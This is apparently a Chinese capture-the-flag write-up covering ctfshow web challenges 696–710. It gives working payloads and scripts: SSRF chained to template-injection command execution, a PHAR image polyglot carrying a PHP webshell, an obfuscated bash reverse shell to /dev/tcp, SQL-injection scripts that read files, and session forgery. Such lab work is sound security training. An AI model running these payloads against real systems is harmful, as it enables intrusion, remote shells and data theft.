CTFSHOW大赛原题篇(web696-web710)

因为题目较多,所以很多地方写的比较简略,望师傅们谅解,祝大家变得更强!

web696

下载源码是个django的框架。
web1里面的利用点很明显,存在一个ssrf
在这里插入图片描述
而在web2的app.py中存在ssti模板注入
在这里插入图片描述
所以我们的目的就是通过web1来访问web2,最终通过ssti达到rce的,目的。
在web1中我们想利用ssrf必须先得到token,也就是需要用admin登录。
在这里插入图片描述
所以我们要做的第一步就是伪造一个admin用户,在django中创建admin后,数据库中是用is_superuser进行标识的。为1代表的是管理员。
而用户注册又是将整个data数据写入了数据库。
在这里插入图片描述
所以我们注册的时候可以增加一个is_superuser参数,为了我们能访问所有admin页面,需要再加个is_staff参数
在这里插入图片描述

第一步:

POST:
http://bd2702c0-2cb5-4a00-8320-206e36106a47.challenge.ctf.show/reg/

{"username":"zzx","password":"abc","is_superuser":1,"is_staff":1}

在这里插入图片描述
注册成功并登录进后台后便能看到token的值。
在这里插入图片描述
在web2的caculator路由中,我们需要post传值,而web1中的flask_rpc函数可以帮我们首先这个目的。
在这里插入图片描述
在这里插入图片描述
捋一下思路
通过home中的ssrf来访问rpc,再通过rpc中的ssrf来访问另一台服务器上的caculator路由
大体的json如下


/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=xxxx","token":"994f639af3c57121cb756fd0bd126478"}

其中的xxx就是我们要传的带有ssti内容的json的base64。
num1和num2没有什么用,因为限制了内容只能是数字。能用的只有symbols了。
所以构造json串

{"num1":"1","num2":"1","symbols","{
   
   {x.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')}}-"}

最后加个-是为了绕过对symbols的过滤
在这里插入图片描述
但是题目中对我们的payload做了其他限制
在这里插入图片描述
不过这都是小问题,因为我们是通过json传的,所以可以通过unicode编码绕过。

{"symbols":"\u007b\u007bx.__init__.__globals__['__builtins__'].eval('__import__(\"os\").popen(\"cat /flag\").read()')\u007d\u007d-","num1":"1","num2":"2"}

将这一串进行base64,再传给之前的data就可以了
最终payload,token需要自己改下

/home

{"url":"http://127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJzeW1ib2xzIjoiXHUwMDdiXHUwMDdieC5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10uZXZhbCgnX19pbXBvcnRfXyhcIm9zXCIpLnBvcGVuKFwiY2F0IC9mbGFnXCIpLnJlYWQoKScpXHUwMDdkXHUwMDdkLSIsIm51bTEiOiIxIiwibnVtMiI6IjIifQ==","token":"994f639af3c57121cb756fd0bd126478"}

有同学可能会问端口怎么来的,其实是猜的,或者爆破也可以。
然后那串ssti的payload怎么来了,具体的话可以看下之前的ssti篇ssti进阶篇

web697

进入页面提示我们传入参数NOHO
在这里插入图片描述
随便试了几下,会提示太大或太小。
虽然看不到代码但是可以猜测一下,可能是使用strcmp一类的函数进行比较,大于返回正整数,小于返回负整数,等于返回0。
所以我们要么找到提交的数和代码中待比较的数相等。要么绕过比较。
很容易想到利用数组,当我们传入的是数组时,返回的值是NULL,反正几部是正整数,也不是负整数,也和0弱等于,试了下果然可以。
?NOHO[]=
下面第二步是有个填密码的框,提交个数字后页面返回了具体的查询语句
在这里插入图片描述
出现了乱码,可能是经过某种加密了,如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。

ffifdyop
e58
4611686052576742364

既然只能传数字,那我们就选择4611686052576742364
在这里插入图片描述

web698

参考文章https://blog.csdn.net/zz_Caleb/article/details/85082561
比较坑的地方是这个secret_key的长度需要一个个试,真实长度是10
无语了。。。。。
在这里插入图片描述

web699

和群主问过,确实是题目有问题,没问题的话下面的脚本就可以跑出来了。
https://tyskill.github.io/posts/i-soon2020/

import requests
# 八进制
n = dict()
n[0] = '${#}'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}${#}${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}${#}))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f = ''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o   
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"                 #${!#}与$0等效
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

# def get_flag(url,payload):                          #盲注函数
#     try:
#         data = {'cmd':payload}
#         r = requests.post(url,data,timeout=1.5)
#     except:
#         return True
#     return False

# 弹shell
print(build('bash -i >& /dev/tcp/IP/port 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
#     for j in a:
#         cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
#         url = "http://ip/"
#         if get_flag(url,build(cmd)):
#             break
#     f = f+j
#     print(f)

web700

https://xz.aliyun.com/t/6911
https://blog.csdn.net/a3320315/article/details/104071188
参考了两篇文章,但是一直没复现出来。。。。

web701

参考文章https://gist.github.com/stypr/9219055eaaf39bc1c3cdd694755d9295

1337 === Number(String(Number(1)).concat(3).concat(3).concat(7))

constructor.length.constructor =[Function: Number]
constructor.name.constructor = [Function: String]
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7

payload:

constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

web702

访问www.zip得到源码。
先来看下漏洞利用点,大部分无非就是一些命令执行、文件包含、文件上传、注入。。。
这个题目有个文件上传点,但是最后的文件名后缀是固定的。所以很难利用成功。
但是在index.php中还存在一个include
在这里插入图片描述
第一个include我们是无法控制的,下面需要研究的就是第二个include是否可控。
在这里插入图片描述
include中的内容和data有关,再来看下data是怎么来的。
在这里插入图片描述
和cookie有关,我们可以先随便上传一张符合条件的图片,看下cookie的变化。
当我们上传成功后,会返回一个session
在这里插入图片描述
这个cookie是由两部分组成的。
在这里插入图片描述
点号前面是json字符串的base64,后面是他的一段签名。
那我们解密返回的cookie中点号前面的部分,会得到如下内容。

{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"}}

那么我们往里面加个theme变量是不是可以了呢?
这里还有个问题,点号后面的签名是由前面的json串生成的,所以我们还得伪造一段签名,这个其实是很困难的,但是好在生成签名的函数有问题。
在这里插入图片描述
在这里插入图片描述
就是说我们json字符串超过72便会被忽略掉。而我们刚才的json串长度是121,所以再往后加东西,签名也是相同的。
最后就是怎么利用这个include了。
我们可以包含一个后缀是css的文件,但是我们却无法上传css后缀的文件。
这时候phar是一个不错的选择。

<?php
$png_header = hex2bin('89504e470d0a1a0a0000000d49484452000000400000004000');
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->addFromString('exp.css', '<?php system($_GET["cmd"]); ?>');
$phar->setStub($png_header . '<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();

我们将exp.css压缩到phar文件中,并且添加上png的文件头绕过验证。
当include中的值为include(“phar://uploads/xxx.png/exp.css”)时,就会包含exp.css的内容,从而getshell。
解题步骤:
1、上传上面生成的phar文件。
2、解密返回的session
3、构造json串{"name":"asd_asd","avatar":"8c97baff.png","flash":{"type":"info","message":"Your avatar has been successfully updated!"},"theme":"phar://uploads/8c97baff.png/exp"}
4、使用index.php中的urlsafe_base64_encode方法进行base编码
5、将得到的base64串通过点号与签名拼接
6、传入?cmd=cat /f*即可得到flag
在这里插入图片描述

web703

这个是有源码的,提取码: 7j3t
题目目的很明确,伪造一个admin用户,然后访问?page=flag得到flag。
重点页面在export.php中
在这里插入图片描述
我们可以创建一个文件,并向里面添加一些字符。更加巧的是,session文件的保存路径和我们生成的文件的路径是一样的,那么我们是否可以构造一个session文件,从而修改里面admin的值呢?答案是肯定的。
在这里插入图片描述
但是有个问题,session文件一般是sess_PHPSESSID,里面不允许有点号,而文件名生成的时候会带着点号。在这里插入图片描述
幸好后面有个替换会将..替换成空,而且type的值是我们可控的,
所以我们只需要给type传个.就可以了。
而php中默认的 session 反序列化方式是 php,会用|隔开每个序列化的字符
所以我们可以通过写入|N;admin|b:1;来构造一个$_SESSION['admin']=true
解题步骤:
1、使用sess_ 登录
2、增加一个note,title为|N;admin|b:1;
3、访问export.php?type=. 来生成session文件,并且会下载下来,
4、修改cookie中的PHPSESSID的值为下载下来的文件的下划线后面的内容。
在这里插入图片描述

web704

json串中可以使用unicode编码绕过
payload:

?source=1 

{"page":"\u0070hp://filter/read=convert.base64-encode/resource=/\u0066lag"}

web705

直接看参考文章吧,太难了。。。。。

# coding: utf-8
import binascii
import requests

URL = 'http://c9bcbc2b-3d52-4a55-aa42-695f48805ef6.challenge.ctf.show/vote.php'

l = 0
i = 0
for j in range(16):
    r = requests.post(URL, data={
    
    
        'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
    })
    if b'An error occurred' in r.content:
        l |= 1 << j
print('[+] length:', l)

table = {
    
    }
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'

res = binascii.hexlify(b'ctfshow{').decode().upper()
for i in range(len(res), l):
    for x in '0123456789ABCDEF':
        t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
        r = requests.post(URL, data={
    
    
            'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
        })
        if b'An error occurred' in r.content:
            res += x
            break
    print(f'[+] flag ({i}/{l}): {res}')
    i += 1
print('[+] flag:', binascii.unhexlify(res).decode())

web706

看到机器学习,先放放了。。。

web707

在这里插入图片描述
base64解密下cookie,然后修改cookie中的money。
直接buy就出flag了。。。。。。

web708

wp https://ctftime.org/writeup/17495
脚本https://github.com/wat3vr/watevrCTF-2019/blob/master/challenges/web/jungle/solve.py
能不能跑出来就随缘了。

web709

需要先读index.php,然后得到flag所在的页面,再去读该页面。
脚本写的比较烂,勉勉强强能看出个flag。

import requests  
url="http://54f76ee9-05e1-4b90-b002-411ce0cd05a9.challenge.ctf.show/index.php?search="
#读文件 /var/www/html/index.php
# for i in range(1,500):
#     u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870),{0},20))))".format(i)
#     r=requests.get(u)
#     print(r.text)

# 读文件/var/www/html/ctfshowflagyouneverknow.php
for i in range(1,500):
    u=url+"extractvalue(0x3c,concat(0x7e,(select substr(load_file(0x2f7661722f7777772f68746d6c2f63746673686f77666c6167796f756e657665726b6e6f772e706870),{0},20))))".format(i)
    r=requests.get(u)
    print(r.text)

web710

hackbar 一把梭
在这里插入图片描述
?name={ {config.__class__.__init__.__globals__['os'].popen('cat f*').read()}}

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/123064086